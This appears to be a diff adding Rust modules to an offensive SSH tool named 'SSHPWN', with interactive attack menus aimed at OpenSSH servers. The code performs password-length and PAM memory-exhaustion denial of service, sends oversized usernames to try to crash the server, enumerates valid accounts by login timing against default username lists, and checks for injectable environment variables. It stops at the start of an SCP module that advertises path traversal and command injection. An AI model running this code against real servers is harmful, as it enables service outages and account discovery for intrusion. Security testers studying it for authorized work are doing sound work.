|
||||
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Bcrypt Truncation Analysis ===".cyan().bold());
|
||||
|
||||
// Check if timing is consistent (would indicate truncation)
|
||||
if results.len() >= 2 {
|
||||
let time_72 = results.get(0).map(|r| r.1).unwrap_or(0.0);
|
||||
let time_73 = results.get(1).map(|r| r.1).unwrap_or(0.0);
|
||||
let time_100 = results.get(2).map(|r| r.1).unwrap_or(0.0);
|
||||
|
||||
let diff_73 = (time_73 - time_72).abs();
|
||||
let diff_100 = (time_100 - time_72).abs();
|
||||
|
||||
if diff_73 < 0.1 && diff_100 < 0.1 {
|
||||
println!("{}", "[*] Timing consistent across all lengths".yellow());
|
||||
println!("{}", "[*] Server may be using bcrypt (72-byte truncation)".cyan());
|
||||
println!();
|
||||
println!("{}", "[!] Implication: Passwords >72 bytes provide no extra security".yellow().bold());
|
||||
println!("{}", "[*] Password 'AAAA...AAA' (72) == 'AAAA...AAAXXX' (75)".dimmed());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[*] Timing varies - server may not use bcrypt or has different handling".cyan());
|
||||
println!("{}", "[*] Cannot confirm 72-byte truncation".dimmed());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helpers
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames for timing attack
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "nobody",
|
||||
"mysql", "postgres", "oracle", "ftp", "ssh",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Password Length DoS Test");
|
||||
println!(" 2. Password Change Information Leak (Analysis)");
|
||||
println!(" 3. Auth Timing Attack (User Enumeration)");
|
||||
println!(" 4. Bcrypt 72-byte Truncation Test");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let username = prompt_default("Username to test", "root")?;
|
||||
let max_len: usize = prompt_default("Maximum password length", "8192")?.parse().unwrap_or(8192);
|
||||
attack_password_length_dos(&host, port, &username, max_len).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_password_change_leak(&host, port).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)")?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
if !user.is_empty() && !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
attack_auth_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt_default("Username", "root")?;
|
||||
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword")?;
|
||||
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All Auth Password Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Password Length DoS ---".cyan());
|
||||
let _ = attack_password_length_dos(&host, port, "root", 4096).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Password Change Info Leak ---".cyan());
|
||||
let _ = attack_password_change_leak(&host, port).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Auth Timing Attack ---".cyan());
|
||||
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
|
||||
let _ = attack_auth_timing(&host, port, &usernames, 2).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Bcrypt Truncation ---".cyan());
|
||||
let _ = attack_bcrypt_truncation(&host, port, "root", "testpassword").await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Auth password attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,621 @@
|
||||
//! SSHPWN PAM Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 auth-pam.c vulnerability analysis
|
||||
//!
|
||||
//! PAM VULNERABILITIES (auth-pam.c):
|
||||
//! - sshpam_password static storage - Password recovery via memory forensics (LOW)
|
||||
//! - pam_putenv() memory leak - DoS via memory exhaustion (LOW)
|
||||
//! - import_environments() - Environment variable injection (MEDIUM)
|
||||
//! - Missing username length validation on non-Solaris (LOW-MEDIUM)
|
||||
//! - setreuid() race condition - Privilege state issues (LOW)
|
||||
//! - Timing attack mitigation gap - Incomplete coverage (LOW)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - PAM Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH auth-pam.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. PAM Memory Exhaustion DoS (pam_putenv leak) ║".cyan());
|
||||
println!("{}", "║ 2. Username Length Overflow Test ║".cyan());
|
||||
println!("{}", "║ 3. PAM Timing Attack (user enumeration) ║".cyan());
|
||||
println!("{}", "║ 4. Environment Variable Injection Test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt (for timing attacks)
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication
|
||||
let _ = sess.userauth_password(username, password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// PAM Memory Exhaustion DoS Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 378-382 - pam_putenv() memory leak
|
||||
/// Each authentication attempt leaks memory. Repeated attempts can exhaust server memory.
|
||||
pub async fn attack_pam_memory_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
iterations: u32,
|
||||
delay_ms: u64,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Memory Exhaustion DoS on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c pam_putenv() memory leak".cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[!] WARNING: This test performs many authentication attempts".yellow().bold());
|
||||
println!("{}", "[!] It may trigger account lockouts or rate limiting".yellow());
|
||||
println!();
|
||||
|
||||
println!("{}", format!("[*] Testing with {} iterations, {}ms delay", iterations, delay_ms).cyan());
|
||||
|
||||
let mut successful = 0u32;
|
||||
let mut failed = 0u32;
|
||||
|
||||
for i in 0..iterations {
|
||||
if i % 10 == 0 {
|
||||
print!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
// Try authentication with invalid credentials
|
||||
// Each attempt that reaches PAM processing leaks memory
|
||||
let invalid_pass = format!("invalid_{}_{}", std::process::id(), i);
|
||||
|
||||
match time_auth_attempt(host, port, "nobody", &invalid_pass, 10) {
|
||||
Some(_) => successful += 1,
|
||||
None => failed += 1,
|
||||
}
|
||||
|
||||
if delay_ms > 0 {
|
||||
std::thread::sleep(Duration::from_millis(delay_ms));
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!();
|
||||
println!("{}", "=== PAM Memory DoS Results ===".cyan().bold());
|
||||
println!("Total attempts: {}", iterations);
|
||||
println!("Successful connections: {}", successful);
|
||||
println!("Failed connections: {}", failed);
|
||||
println!();
|
||||
|
||||
if successful > 0 {
|
||||
println!("{}", "[VULN] Server accepted connections - memory leak may be exploitable".red().bold());
|
||||
println!("{}", "[*] Monitor server memory usage during extended attacks".cyan());
|
||||
println!("{}", "[*] Each PAM environment variable leaked per auth attempt".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[-] Could not establish connections - rate limiting may be active".yellow());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// Username Length Overflow Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 696-699 - Username length only validated on Solaris
|
||||
/// Non-Solaris systems may be vulnerable to buffer overflows in PAM modules
|
||||
pub async fn attack_pam_username_overflow(
|
||||
host: &str,
|
||||
port: u16,
|
||||
max_length: usize,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Username Length Overflow Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c missing username length validation".cyan());
|
||||
println!("{}", "[*] Only Solaris validates PAM_MAX_RESP_SIZE (1024 bytes)".cyan());
|
||||
println!();
|
||||
|
||||
// Test progressively longer usernames
|
||||
let test_lengths = vec![
|
||||
64, 128, 256, 512, 1024, 2048, 4096, 8192,
|
||||
max_length.min(16384),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing username lengths:".cyan());
|
||||
|
||||
let mut vulnerable_length = None;
|
||||
|
||||
for &len in &test_lengths {
|
||||
if len > max_length {
|
||||
break;
|
||||
}
|
||||
|
||||
// Generate username of specified length
|
||||
let username: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
print!(" Testing {} bytes... ", len);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let start = Instant::now();
|
||||
let result = time_auth_attempt(host, port, &username, "test", 15);
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
match result {
|
||||
Some(t) => {
|
||||
if elapsed.as_secs() > 10 {
|
||||
println!("{}", format!("SLOW ({:.2}s) - potential DoS", t).yellow());
|
||||
vulnerable_length = Some(len);
|
||||
} else {
|
||||
println!("{}", format!("OK ({:.2}s)", t).green());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
if elapsed.as_secs() > 10 {
|
||||
println!("{}", "TIMEOUT - server may have crashed/hung".red().bold());
|
||||
vulnerable_length = Some(len);
|
||||
break;
|
||||
} else {
|
||||
println!("{}", "Connection failed".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between tests
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Username Overflow Results ===".cyan().bold());
|
||||
|
||||
if let Some(len) = vulnerable_length {
|
||||
println!("{}", format!("[VULN] Potential vulnerability at {} bytes", len).red().bold());
|
||||
println!("{}", "[*] Server showed abnormal behavior with long username".cyan());
|
||||
println!("{}", "[*] PAM modules may have fixed-size username buffers".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[*] No obvious overflow detected".green());
|
||||
println!("{}", "[*] Server may have proper input validation".cyan());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// PAM Timing Attack - Enhanced user enumeration
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 1361-1368 - Timing attack mitigation gap
|
||||
/// fake_password() only used for invalid users/root denied, not for empty passwords
|
||||
pub async fn attack_pam_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
) -> Result<Vec<String>> {
|
||||
println!("{}", format!("[*] PAM Timing Attack on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c incomplete timing mitigation".cyan());
|
||||
println!("{}", "[*] Testing: valid vs invalid user timing differences".cyan());
|
||||
println!();
|
||||
|
||||
// Establish baseline with definitely invalid user
|
||||
let baseline_user = format!("nonexistent_user_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let mut baseline_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "invalid", 15) {
|
||||
baseline_times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if baseline_times.is_empty() {
|
||||
println!("{}", "[-] Could not establish baseline - cannot reach target".red());
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", baseline).cyan());
|
||||
|
||||
// Test empty password timing (potential gap in fake_password coverage)
|
||||
println!();
|
||||
println!("{}", "[*] Testing empty password timing gap...".cyan());
|
||||
|
||||
let mut empty_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "", 15) {
|
||||
empty_times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if !empty_times.is_empty() {
|
||||
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
|
||||
let diff = empty_avg - baseline;
|
||||
if diff.abs() > 0.1 {
|
||||
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
|
||||
println!("{}", "[*] This may indicate incomplete timing attack mitigation".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Empty password timing: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
// Test provided usernames
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames for timing differences...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for user in usernames {
|
||||
print!("\r[*] Testing: {} ", user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let mut times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, user, "invalid_password", 15) {
|
||||
times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if !times.is_empty() {
|
||||
let avg = times.iter().sum::<f64>() / times.len() as f64;
|
||||
let diff = avg - baseline;
|
||||
|
||||
// Significant timing difference indicates valid user
|
||||
if diff.abs() > 0.3 {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== PAM Timing Results ===".cyan().bold());
|
||||
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(valid_users)
|
||||
}
|
||||
|
||||
/// PAM Environment Variable Injection Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 350-383 - import_environments()
|
||||
/// Up to 1024 env vars imported from PAM subprocess without sanitization
|
||||
pub async fn attack_pam_env_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Environment Injection Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c import_environments()".cyan());
|
||||
println!("{}", "[*] Tests what environment variables are accepted/set".cyan());
|
||||
println!();
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Check current environment
|
||||
let dangerous_vars = vec![
|
||||
"LD_PRELOAD",
|
||||
"LD_LIBRARY_PATH",
|
||||
"LD_AUDIT",
|
||||
"LD_DEBUG",
|
||||
"LD_PROFILE",
|
||||
"PATH",
|
||||
"BASH_ENV",
|
||||
"ENV",
|
||||
"CDPATH",
|
||||
"GLOBIGNORE",
|
||||
"BASH_FUNC_",
|
||||
"SSH_AUTH_INFO_0",
|
||||
"KRB5CCNAME",
|
||||
"SSH_CONNECTION",
|
||||
];
|
||||
|
||||
println!("{}", "[*] Checking dangerous environment variables:".cyan());
|
||||
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec("env")?;
|
||||
|
||||
let mut env_output = String::new();
|
||||
channel.read_to_string(&mut env_output)?;
|
||||
channel.wait_close()?;
|
||||
|
||||
let mut found_dangerous = Vec::new();
|
||||
|
||||
for var in &dangerous_vars {
|
||||
for line in env_output.lines() {
|
||||
if line.starts_with(var) {
|
||||
println!("{}", format!(" [!] {}", line).yellow());
|
||||
found_dangerous.push(line.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing PAM-specific variables:".cyan());
|
||||
|
||||
// Check for PAM-related environment
|
||||
let pam_vars = vec!["PAM_", "SSH_AUTH", "KRB5", "GSSAPI"];
|
||||
|
||||
for var in &pam_vars {
|
||||
for line in env_output.lines() {
|
||||
if line.contains(var) {
|
||||
println!("{}", format!(" [PAM] {}", line).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== PAM Environment Results ===".cyan().bold());
|
||||
|
||||
if !found_dangerous.is_empty() {
|
||||
println!("{}", format!("[!] Found {} potentially dangerous variables", found_dangerous.len()).yellow());
|
||||
println!("{}", "[*] These could be exploited by malicious PAM modules".cyan());
|
||||
println!();
|
||||
println!("{}", "[*] Attack vectors:".cyan());
|
||||
println!("{}", " - LD_PRELOAD: Load malicious shared library".dimmed());
|
||||
println!("{}", " - PATH: Execute trojan commands".dimmed());
|
||||
println!("{}", " - BASH_ENV: Execute code on bash startup".dimmed());
|
||||
println!("{}", " - KRB5CCNAME: Credential cache manipulation".dimmed());
|
||||
} else {
|
||||
println!("{}", "[*] No obviously dangerous variables found in environment".green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Note: Environment injection requires compromised PAM module".yellow());
|
||||
println!("{}", "[*] Check /etc/pam.d/sshd for module configuration".dimmed());
|
||||
|
||||
Ok(!found_dangerous.is_empty())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames for timing attack
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. PAM Memory Exhaustion DoS (no auth required)");
|
||||
println!(" 2. Username Length Overflow Test (no auth required)");
|
||||
println!(" 3. PAM Timing Attack - User Enumeration (no auth required)");
|
||||
println!(" 4. Environment Variable Injection (requires auth)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let iterations: u32 = prompt_default("Number of attempts", "100")?.parse().unwrap_or(100);
|
||||
let delay: u64 = prompt_default("Delay between attempts (ms)", "100")?.parse().unwrap_or(100);
|
||||
attack_pam_memory_dos(&host, port, iterations, delay).await?;
|
||||
}
|
||||
"2" => {
|
||||
let max_len: usize = prompt_default("Maximum username length", "8192")?.parse().unwrap_or(8192);
|
||||
attack_pam_username_overflow(&host, port, max_len).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)")?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
if !user.is_empty() && !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attack_pam_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
attack_pam_env_injection(&host, port, &username, password.as_deref(), keyfile.as_deref()).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All PAM Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
|
||||
if prompt_yes_no("Run memory DoS test (50 iterations)?", false)? {
|
||||
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
|
||||
} else {
|
||||
println!("{}", "[*] Skipped".dimmed());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Username Overflow ---".cyan());
|
||||
let _ = attack_pam_username_overflow(&host, port, 4096).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Timing Attack ---".cyan());
|
||||
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
|
||||
let _ = attack_pam_timing(&host, port, &usernames, 2).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Environment Injection ---".cyan());
|
||||
println!("{}", "[*] Requires authentication - skipping in automated mode".dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] PAM attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,453 @@
|
||||
//! SSHPWN SCP Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SCP VULNERABILITIES (scp.c):
|
||||
//! - okname() - Incomplete shell character filtering (MEDIUM)
|
||||
//! - sink() - Path traversal via filename manipulation (HIGH)
|
||||
//! - do_cmd() - Command injection via arguments (HIGH)
|
||||
//! - brace_expand() - DoS via exponential expansion (MEDIUM)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
